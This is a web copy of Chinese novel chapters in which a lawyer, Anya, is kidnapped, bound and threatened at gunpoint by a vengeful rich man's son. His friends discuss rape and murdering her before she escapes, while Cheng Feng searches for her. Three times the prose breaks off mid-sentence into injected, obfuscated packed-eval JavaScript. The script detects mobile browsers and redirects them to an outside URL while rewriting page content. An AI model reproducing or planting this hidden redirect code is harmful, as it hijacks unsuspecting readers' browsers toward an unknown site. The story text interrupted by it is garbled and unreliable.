不久前还能接通的电话,现在却直接关机了。这不像是安雅会做的事,她说过的,自己从来不会在工作时间关机。像是在安慰自己一般,程枫想,就算她生气,或许她真的心烦,也不会对自己说出那样的话来,更何况是安雅约好了要见面,最后却无缘无故地放了他鸽子。在他看来,这一切的一切,没有一件事是合理的,也没有一件事是自己认识的安雅能做出来的,除非....... 那不是她。 这个想法闯入脑中的那一刻,恐惧像一条蛇般猛地缠在了他的心口。安雅早晨离开的背影在他眼前重现,程枫突然意识到,这世上能让他担心害怕到难以呼吸的,从始至终都只有那一个人。 他要见到安雅,确认她没事才行。 - 安城东郊的野地里,吴欢正盯着地上摔得四分五裂的手机冷笑。银色的外壳和玻璃碎片散落在水泥地上,被阳光照射着,反出刺眼的光。 “这下清净了。”他踢了一脚已经看不出是什么东西的残骸,走向被他从车上连拉带拽拖下来的安雅,“都帮你解决了,以后他应该不会再烦你了。” “你到底给他发了什么!”不知道吴欢发了什么给程枫,安雅一时情急直接喊了出来。 “急了!你看看,怎么突然急了!”吴欢又露出那种心满意足的笑,“他要是个聪明人,也许会觉得有点不对劲。不过也没什么用,等他以后知道这消息不是你发的......”他的表情突然扭曲,“恐怕也只能坐在坟头和你聊这件事了。” 提到程枫,安雅感觉到了一阵久违的平静,就连她的心里好像也安定了不少。 她抬起头,凌乱的黑发间露出无比平静的眼睛。“你错了,他会找到我。” “也不会放过你。” “嘴真硬啊!”能看得出来,吴欢并不喜欢她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464744|169808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自信。 他从车的后备箱里拿出一截麻绳,就地便将安雅的手捆了起来。即便安雅一直挣扎,但性别所带来的体力差距还是让她无奈处于下风。等吴欢动作停下来时,她的手腕已经被麻绳勒出了一道道血痕。 “走吧,换个地方咱们歇会儿。”指着不远处的破厂房,吴欢狠狠地推了一把安雅。 下午的时间过得尤为漫长,和吴欢单独待在这个鸟不拉屎的地方让安雅觉得很是憋屈。看起来吴欢也没有好到哪里去,他不断从车内拿东西来,有时候是吃的喝的,有时候是一些砍刀棍棒什么的,虽然一直很忙,但却也没忙出什么结果来。 直到窗外的天已经蒙上了一层暮色,吴欢才开始拿起了手机,站在她面前,不断的向外拨电话。 前面的内容安雅并没有听清,只是吴欢说话的声音越来越大,情绪也变的激动:“都给我过来!少他妈废话!”他狠狠掐灭烟头,朝地上吐了口痰,“这事没完!” 虽然被绑的是安雅,但吴欢却如同一头困兽般狂躁不安。看他打完了电话却还是不自觉地来回踱步,安雅开口,“现在收手还来得及,我向你保证可以当这一切都没发生过。” 油污斑斑的卷帘门被风吹得“哐哐”作响,吴欢突然愣住,眼里暴戾的凶光有一瞬褪去,只留下一抹淡淡的迷茫。 沉默间,远处忽然传来断续的汽车引擎声,吴欢慌乱中踢翻了汽油桶,浓烈的味道立刻弥漫开来。安雅盯着他发抖的手,又补了一句:“你先解开绳子,我可以现场拟一份谅解书同时附带保密的民事合同,双保险,你绝对可以放心。” “你看了之后再决定要不要接受。”安雅小声试探着,“不满意的话我也可以改,改到你满意为止怎么样?” 铁皮屋顶在野风中发出刺耳的摩擦声,经年沉积的灰尘被吹得从各处的缝隙里漏进来,两人在灰蒙蒙的厂房里都看不清楚对方的表情。 只有沉默如迷的呼吸声此起彼伏。 安雅背靠着生锈的油罐,手腕上的绳子已经勒进皮肉里,暗红的血痕在皮肤上凌乱着。 吴欢沉默了许久,才又蹲在她面前,不知从哪里掏出来一把折叠刀抵着她的下巴:“现在才求我放了你,不觉得太迟了吗?安律师。” “你是不是和那婊子一家都以为我好欺负?两百万拿着容易,但有没有命花,那就是天意了........” “事情不是你想的那样........”安雅连忙解释。 “那是哪样!”他眼里布满血丝,声音开始变得癫狂“那婊子睡过的人都能装满一操场了,凭什么你们抓着我不放?” “是不是觉得我好欺负?”吴欢突然激动,“你们其实都和我爸妈一样,就是觉得我是摊扶不上墙的烂泥,从心底就看不起我对不对!” “说!说啊!”他突然暴起,扯住安雅的头发,“你们都看不起我是吧??!” 头皮传来撕裂般的疼痛,但安雅强迫着自己保持冷静,情急下她想到了吴欢的父母,赶忙改口:“今天签和解书时,吴院长提起过你。” 这句话就像给吴欢手下的动作按下了暂停键。听到那个当院长的父亲在外人面前提起了自己,吴欢抓着头发的手明显停顿了一下。 紧接着吴欢松开手,暴躁地踢翻了一个空油桶,盯着远处问:“他说什么?” 金属撞击声在空旷的厂房里回荡,安雅趁机继续说:“他很关心你......”话音未落,吴欢又突然暴怒,刀尖直接抵上了她颈侧的皮肤:“放屁!他们只在乎自己的面子!” “少他妈骗我!“他揪住安雅的衣领,“你们这些人都一样,就该死!” 很明显吴欢已经消耗完了耐心,随手捡起一团破布,就向她嘴里塞,却一个不注意突然被安雅咬住手指。 “妈的!”吴欢一时吃痛,立刻甩开手。 话音未落,安雅猛地用额头撞向他的鼻梁。他忍着痛,踉跄后退时踩到油渍滑倒在地。安雅趁机一脚踢开油桶,那桶先是撞在吴欢身上,又被弹开,再次撞在铁门上发出一声巨响。 吴欢爬起来,抹了把鼻血,眼里有正在燃烧的疯狂:“找死!”他从手边抄起一根铁管就向着安雅走来。 安雅见状拼命挣扎,麻绳被深深勒进伤口,鲜血顺着她的手腕流下也浑然不知。 就在铁管即将落下时,厂房的大门突然被人推开。 29. 第二十九章 门被推开时,发出刺耳的金属摩擦声。锈迹斑斑的大门上铁屑簇簇下落,光线昏暗,安雅隐约能看到有几个人影从门口闪进。 “欢哥?”听到有人喊自己,吴欢停下了手里的动作。 “大半夜叫我们来这破地方,是有什么好东西给哥几个看啊?”待人影走近安雅才看清楚,是三个衣着光鲜的年轻人,看起来都和吴欢差不多大。 领头的黄毛吹了声口哨,正用手机自带的手电筒四处乱照,“怎么黑成这样,也不开个灯......”突然,他说话的声音戛然而止。 手机电筒的光柱正照在墙角被绑着的安雅身上,她如瀑般的黑发纠缠在一起遮住了大半张脸。可能因为刚刚和吴欢争斗过,额头上的红晕还没有消退。被绑了一天,她的汗和尘土在脸上混合在一起,一眼看过去只知道是绑了个人在那,连活着死了都分辨不出来。 安雅强撑着精神眯起被强光刺痛的眼睛,看了一阵子后,只觉得这些人应该也都和吴欢一样非富即贵,连穿衣品味也极其相似。黄头发的那个有着能把纪梵希大logoT恤穿在胸前的恶趣味,而靠近自己的那位则是一边戴佛珠,另一边是劳力士腕表,这样的搭配也能显得出他暴发户一般的低劣气质。 安雅在心里猜测着,这几个人应该就是吴欢不久前在电话里叫来的人。 “卧槽!”赵明一转头看见角落里憔悴的安雅,像被吓了一跳般,直接倒退两步撞到身后的空桶,“这女的活着死了?” “别一天大惊小怪的。”扔下手里的铁管,吴欢走上前给进来的三人递烟,“活着呢!死了还叫你们来干嘛?” 黄毛周奇点起一根烟,“什么意思?绑了个女人准备一起玩?” “木头脑袋。”说话的是市医院副院长的儿子林锐,相比于其他两个人,他显得更稳重一些,“谁不知道咱欢子一坐那就有女的贴上来,想玩需要费这么大劲吗?” 林锐缓缓吐出一个烟圈,抬眼向着吴欢,“说吧,找我们来要干嘛?” “我掏了两百万。”吴欢冷冷地说,“要是没有她,那婊子折腾不出什么水花来。” 赵明不解:“上回喝酒不是说你爸已经愿意给钱了?怎么还想着那个事呢?” “他还不是怕事情传出去伤了自己的面子!”吴欢言语里都是愤恨,“我爸愿意给那是他!但这事没完,老子要那些看不起我,觉得我好欺负的人都他妈付出代价!” 林锐已经抽完了手里的那根烟,听着吴欢的话,他重新去掏烟盒的手在半空中顿了几秒,良久,他叹了口气:“欢子,玩的有点大了吧?这可不是平时那些公主模特什么的,你把哥几个叫来,就是为了给我们看你绑了一个律师?” “还是问你爸要出200万的律师!”周奇惊呼,“你爸都拿她没办法,你这.......能行吗?” “什么行不行的!”吴欢猛地将烟头碾灭,火星溅在水泥地上,“人我都已经绑来了,平时咱们都一起玩,现在有了事儿,人多了好想想办法,给我出口气。” “也给我爸妈看看,我他妈的不是孬种。”提到那对优秀的父母时,吴欢的眼底又闪现出异样的光,看得身边的人都心下一惊。 “你准备怎么办?”林锐轻声问。 周奇鬼笑着:“是给她扔到哪个没人知道的水里,还是弄碎分开丢了?” “先说一句,杀人碎尸这种事我不做。”林锐摆摆手。 赵明也凑上来:“我也不行,我家里信佛的,不让杀生。” “放什么屁!我告诉你们,这事你们来了就已经参与了。今天这个事不解决,谁都不准走!”吴欢暴怒,说着突然从上衣口袋里掏出一把小型手枪来,吓得在场的人的呼吸都慢了半拍。 他拿着那把枪从在场的几人身上一一指过,最后停在安雅面前,“前两天在包间里是谁说让我把这女的弄来出出气?现在人我绑来了,你们怎么一个个都萎了?” “那不是喝酒了嘛。”赵明不好意思地挠挠头,“也没想着欢哥你真能绑来,还准备杀人分尸的.......” 从提到杀人开始,林锐便开始一言不发,烟灰掉在手背上都没察觉。 “你们哪次有事我没帮过?这回,也该还回来了。”吴欢阴笑,手里把玩着那把枪。另外两个人都被吓得连连后退,只有林锐还坐在墙角横放的油桶上,冷冷地看着他。 收起枪吴欢又换了一副面孔:“处理完这女的,这好东西我还有几个,给你们一人一个玩玩怎么样?” 枪都拿出来了,几个人哪有不同意的道理,都只是默默地点点头,站在原地一动不敢动,等着吴欢发话。 安雅看在眼里,明白这几个所谓的帮手也都是被拉进了这个困局。现在他们知道了吴欢的计划,即使不愿意参与,但要想全身而退也并不容易。 已经折腾了快一天一夜,吴欢的精神也已经到了崩溃的边缘。时而亢奋时而愤怒,弄得几个人一时都不知道该怎么办。 “欢哥,要不咱们把她玩玩然后再打一顿扔野地里得了。”看吴欢瘫坐在一旁发呆,周奇再次提议,“你也出了气,哥几个也留了她一条命。咱们再给她把视频和照片都拍上,基本就万无一失了。” “这女的和其他人不一样。”吴欢的体力也已经消耗的差不多了,他急需要解决掉这件事然后睡一觉。“就怕留了她活口,后面让她缠上......那就麻烦了。” “就必须得杀人吗?”林锐实在忍不了,“没别的办法?” “一个女的而已,只要她后面还想在这地方活下去,咱们手里有视频和照片她不准备要脸啦?就是她不要,她父母亲戚朋友不要吗?”周奇觉得自己的方案没什么问题,但已经和安雅交过手的吴欢却陷入了沉思。 天色透出一丝清亮,几个人从午夜折腾到凌晨也都已经有点疲倦了,空旷的厂房内逐渐陷入了寂静。 “醒醒!”安雅见状轻声叫着身边的林锐。 林锐已经快闭上的眼睛被安雅吓了一激灵,他立刻望向吴欢的方向,看他低着头不知道在做什么,自己也松了一口气。 “别回头,你听我说就行。” 从林锐的背影能看出来,他的确没敢转头,但身体明显绷紧了。 “我知道他疯了,但你没疯。”安雅继续说着,目光扫过不远处瘫坐的吴欢,他正盯着手里的枪发呆,眼下青黑一片,随即她继续向林锐说,“你现在走,还来得及。” 林锐的呼吸明显顿了一下。 “割开绳子。”安雅微微侧身,露出背后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464745|169808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经被磨得松动的绳结,“然后我来引开他的注意力,你从后面的窗子出去,外面就是你的车。” 林锐压着声音问:“我为什么要相信你?” “吴院长可以为了儿子花两百万买平安,你爸妈呢?”安雅扫了眼赵明和周奇,“你们只要一旦参与进来就是共犯。别忘了,他想要的,可是让你们帮他杀人!” 林锐的喉结滚动了一下,手指无意识地摸向口袋里的车钥匙。 “闭嘴!“吴欢突然从另一边爬起来,踹翻脚边的空油罐,金属撞击声在厂房里炸开回音,“是谁在说话!弄得人脑子嗡嗡的!是不是你?”他揪住周奇的衣领,对方闪亮的大logo腰带撞在旁边的铁架上铛铛作响,“怎么现在都怂了?当初在包厢里不是你们嚷嚷要给她点颜色?” “没!欢哥,我没说话!”周奇被吓得连连摆手,“哥你别生气,不就是弄个女人嘛,你说怎么办我们都听你的,对不对?”周奇一边讨饶一边向另外两人求助,却没想到直接被无视。 “想通了?”吴欢突然笑了起来,随即环视了一圈,“那咱们就动手?” 此时林锐的手指在身后悄悄摸索,终于将手里刚从油罐边缘掰下来的铁皮递给了安雅。他的指尖发抖,但安雅接过后不久,那片铁皮的刃已经抵在了她手腕边的麻绳上。 “干!”在吴欢的强压之下,赵明也终于受不了了。伸头一刀缩头一刀,反正他们已经被吴欢骗来了,也只能听这个疯子的安排。 看叫来的帮手终于有了回应,吴欢笑着拿起枪走近安雅。 伴随着剧烈的心跳声,她听见了子弹上膛的声音。 吴欢举枪的手微微颤抖,枪口对准安雅的眉心,嘴角扯出一个满意的弧度:“安律师,你还有什么遗言吗?” 安雅低着头没有回答。她垂下的手正在身后不断用力,那截麻绳在她的撕扯下已经逐渐松动。只剩下最后一丝束缚还挂在她手腕上,或许再用一点力,就能挣脱。 “砰!”枪声炸响的瞬间,子弹擦着安雅耳畔掠过,在铁皮墙上迸出火星。 就在吴欢开枪的前一秒,安雅已经挣脱了手上的束缚,侧开身子躲开了那一枪。 而林锐也趁机拽起吓呆的赵明和周奇大喊:“走啊!”反应过来后,三人跌跌撞撞跑向破碎的后窗。 一时间,尘土在只有一线天光的厂房中四散飞溅。 “操!”吴欢还不知道怎么回事,但直接调转枪口对准逃跑的三人。安雅眼疾手快,顺手抄起地上的铁管狠狠砸向他手腕。伴随着骨头被撞击的脆响,吴欢手里的枪飞了出去,她也立刻转身跑出了那个废旧的修理厂。 门外传来汽车发动机打火的声音,吴欢这才确定他们是早有预谋要逃跑,随即大骂:“妈的,一群怂包!” 与此同时,安雅也已经趁乱跑到了远处的空地上。无奈不会开车,她只能靠着早已酸痛麻木的双腿一刻不停地跑。 黎明前呼呼的风声灌进她耳中,嘴里有鲜血的味道漫上来,她咬着牙继续向前跑,只期待自己能再跑快一点点。 那一刻,生的欲望在安雅心里变得无比强大,她想跑出去,想回家,还想再见一见约好了见面却被自己爽约的人,想知道在这漫长的一天里,他有没有想到过自己。 30. 第三十章 她不知道的是,自己在外面被吴欢载着身不由己地横冲直撞,而程枫却为了找她,却差点翻遍了整个安城。 那天午后,曹熙正坐在安雅的空办公桌后百无聊赖地转着她的椅子玩。突然看见门口突然闪过一个人影,他便立刻站起来迎上去。 “姐姐?”他探出脑袋,轻轻叫了声。 门外刘宁宁正端着水杯经过,被这动静吓了一跳,手没拿稳便撒了一些在袖口上。曹熙连忙递上纸巾,“不好意思啊刘姐.......” “嘶.......”曹熙自顾自地为她擦着手腕上,却发现刘宁宁没忍住倒吸一口气,吓得曹熙赶紧松开了手。 她的手腕上有未消的淤青,因为曹熙意料之外的拉扯,便从袖口里露出一块来。想问的话到了嘴边,他却看到刘宁宁慌乱间垂下手臂遮盖的躲闪眼神。沉默了几秒,曹熙便也装作无事般,向刘宁宁问起了安雅。 “刘姐,你知道安律师去哪了吗?” “她啊........她上午签完和解协议就出去了。”可能是心理作用,曹熙觉得刘宁宁说话的声音比平时高了些,端着水杯的手臂也有点颤抖,“我早上还看她和当事人签和解协议来着,你不是也在?” “可现在都下午了!”曹熙是真着急,“她中午也没回来,电话不接,信息不回的.......你说会不会是有什么事啊?” “看到就会回的。”能看出来,刘宁宁并不准备多说,“倒是你,听说你前几天在高架上和人飙车?” 这场谈话突然被生硬地转移了话题,“哎呀......没有的事,又听我姐说的是不是?” “我这里庙小,麻烦你乖一点顾好自己,我也好交差。”刘宁宁敲打完他后,抱着文件趁机准备离开。 这时,法援中心的大门被推开,一个高大的身影朝着说话的两人直奔了过来。 “程主任?“曹熙脱口而出。 程枫停住脚步,见叫自己的人是曹熙,心里又多了几分不悦。但也顾不得那么多,他眉头几乎不可察地皱了皱,然后对着曹熙问:“请问安雅在吗?” “你......也在找姐姐?”听得出来,曹熙的声音里带了些紧张。 “早晨我看着她上了你的车。”程枫的声音很平静,但动作里却已经明显已经带了些些烦躁,“我们约好中午要见面,但她没有来,手机也是关机状态,我找不到她。” “我以为......她和你在一起......”曹熙猛地反应过来,“所以说,我们现在没有人能联系到她,也都不知道她去了哪里?” 闻言刘宁宁也开始感觉到一丝不妙,她拿出手机拨了安雅的电话,不出意外的,也是和面前的两人一样的结果。“我上回凌晨给她打电话都是秒接,这是怎么了.......” 思考了片刻,程枫转向曹熙:“方便留个联系方式吗?” “如果有消息......”程枫顿了顿,“我会告诉你,也请你立刻通知我。” 曹熙点头,看着程枫转身离去的背影,所有人都心照不宣的担心起了安雅的安危。只是刘宁宁年纪大一点,不好表现的太明显,她安慰了曹熙几句,便被突然打进的电话叫走了。 在空无一人的过道里站了许久,曹熙才终于默默低声自语,“不对劲.......” 他的手指在通讯录里快速滑动,最终停在一个没有备注的号码上。犹豫了一秒,还是拨了出去。电话接的很快,但那边却没有说话,只能听见粗重的呼吸声。 “是我。“曹熙压低声音,“帮我查件事。“ “曹少爷?”电话那头传来打火机点烟的声音,接着是沙哑的男声:“这么久您都没联系我,上次的事给您办的还满意吗?” “说正事。”曹熙的声音比平时低沉许多,“帮我看看最近安城的场子上有没有什么特别的事?尤其是,那种一听就有鬼的.......” - 那一天直到晚上也没什么消息。 哄睡了恩宇后,程枫便拿出手机,不知道已经是第几次拨通了安雅的电话。接着他又皱眉挂断,目光扫向窗外渐沉的夜色。 烦躁之余,他直接将手机扔到沙发上。屏幕还亮着,显示着最近通话记录里一连串未接的“安雅”。他起身,走到窗前,夜色已经笼罩了整个小城,远处的高楼也只剩下零星几点灯光。 出门前程枫又去了恩宇的房间,看他在卧室里睡得正熟,便轻轻带上门,拿起车钥匙走了出去。 夜风微凉,他开着车穿过熟悉的路,往事从记忆中一一浮现。和安雅一起回家的路好像总是很短,短的只能让他记起告别那晚她凄楚的眼神。路灯的光在挡风玻璃上投下忽明忽暗的影子,很快他就到了安雅所住的巷口。那地方也还是老样子,安静、陈旧,只是楼下的梧桐树比几年前更高大了,有风吹过,叶子便在夜风中沙沙作响。 程枫缓缓踩住脚下的踏板,他知道那栋两层小楼的最左边便是安雅的房间,以前半夜送她回家后,总会有暖黄色的光透出来, 但现在那里只有漆黑一片。 有点丧气般的,他一时不知道该怎么办。 “滴!!!”尖锐的汽笛突然响起,程枫猛地回神,才发现自己扶额时手肘不小心压到了方向盘。他这辆车本就体积大,鸣笛声在小巷寂静的夜里便显得格外突兀,他连忙松开手,但好像已经晚了。 安雅家客厅的灯突然亮了起来,紧接着里屋的大门被推开,安妈的身影出现在院子里。 “谁啊?”已经接近午夜,她的声音里全是疑惑和警惕。 程枫正懊恼自己的不小心,但看安妈披着外套已经推开了庭院大门,他便赶紧下车,“阿姨,是我,程枫。” 站在路灯下,安妈眯起眼睛,虽然只有微弱的光,却也一眼便认出了他,“是小程啊!”她的语气立刻软了下来,“怎么这么晚过来?是来找小雅吗?这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466568|169808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丫头也不知道怎么回事,都半夜了也没回家,电话也不接,消息也不回,真是越长大越没规矩了.......” 安妈说话时脸上带着笑,但眼里却有藏不住的担忧,“是不是出什么事了?” 虽然已经猜到答案,但他的心还是又一次沉了下去。程枫勉强笑了笑:“没有没有,就是......”他顿了顿,想努力编出一个合适的理由,“就是孩子在幼儿园受了欺负,我想请她帮帮忙。” “律师的工作应该都挺忙的,偶尔可能加班出差也都是会有的事。”也不知道是在安慰谁,他又补了一句,“安雅她能把自己照顾好,您也别太担心。” “这么晚了,要不你进来坐着等吧?”安妈拉着他就要往家里走,“外面凉,你穿这么少,别回头着凉了。” 程枫这才发现自己急着出门,拿了外套也没顾上穿。衣服还在副驾上放着,自己只单穿了个衬衫就走出来了。安妈拉着他就往院子里走,“以前你们放学的时候好像也都是这么晚。”他看安妈欲言又止,“我和她爸爸还经常说,那时候多亏了你.......” 安妈絮絮叨叨地说着,到最后也只是叹了口气,转而问道:“这些年,你一个人带孩子不容易吧?刚听你说孩子在幼儿园受欺负了?没事吧,要找安雅打官司?” “应该还没到那一步。“程枫笑了笑,“孩子养着养着也就习惯了,只是他不像我,性子闹腾的很,总是吵着要跟安雅一起玩。” “那就好,那就好......“安妈点点头,“安雅小时候也这这样,总要我抱着出去玩。但那时候我在厂里上班,哪那么多时间,只能把她关在家里看电视,一看就是一天。那会儿我每天就想,这孩子什么时候能长大啊?但也没个能帮忙的,就那么数着日子硬捱着,就看什么时候能熬出头。” “现在她终于长大了,却有了自己的事。一天下来,连个面也见不上......”安妈还想说点什么,但好像又不知道怎么开口,“以前的事,我后来都听你叔叔说了。你叔叔这个人也是个木头,他自作主张找了你,但又不敢让安雅知道。这么多年过去了,你也有了家庭孩子,阿姨替他向你道个歉,别因为那些事影响了你和安雅.......” “阿姨。”的确,这么多年过去了,那些事没人提起还好,一旦有人说出来,程枫便觉得后悔。他连忙打断了安妈,想说的话在他嗓子里涩了许久,连开口都变得艰难。 但就像安妈说的,都已经过去了这么久,到底是因为什么,谁对谁错,又有什么意义? 他只想把安雅找回来。 他要把安雅找回来。 “如果她回来,麻烦您让她给我回个电话,时间不早了,我就先走了。”程枫转身走出那间小小的庭院。坐上车时,他又向小楼望了一眼,那扇属于安雅的窗户依然漆黑一片。 心里的不安越来越强烈。 就在这时,突然,他的手机响了起来。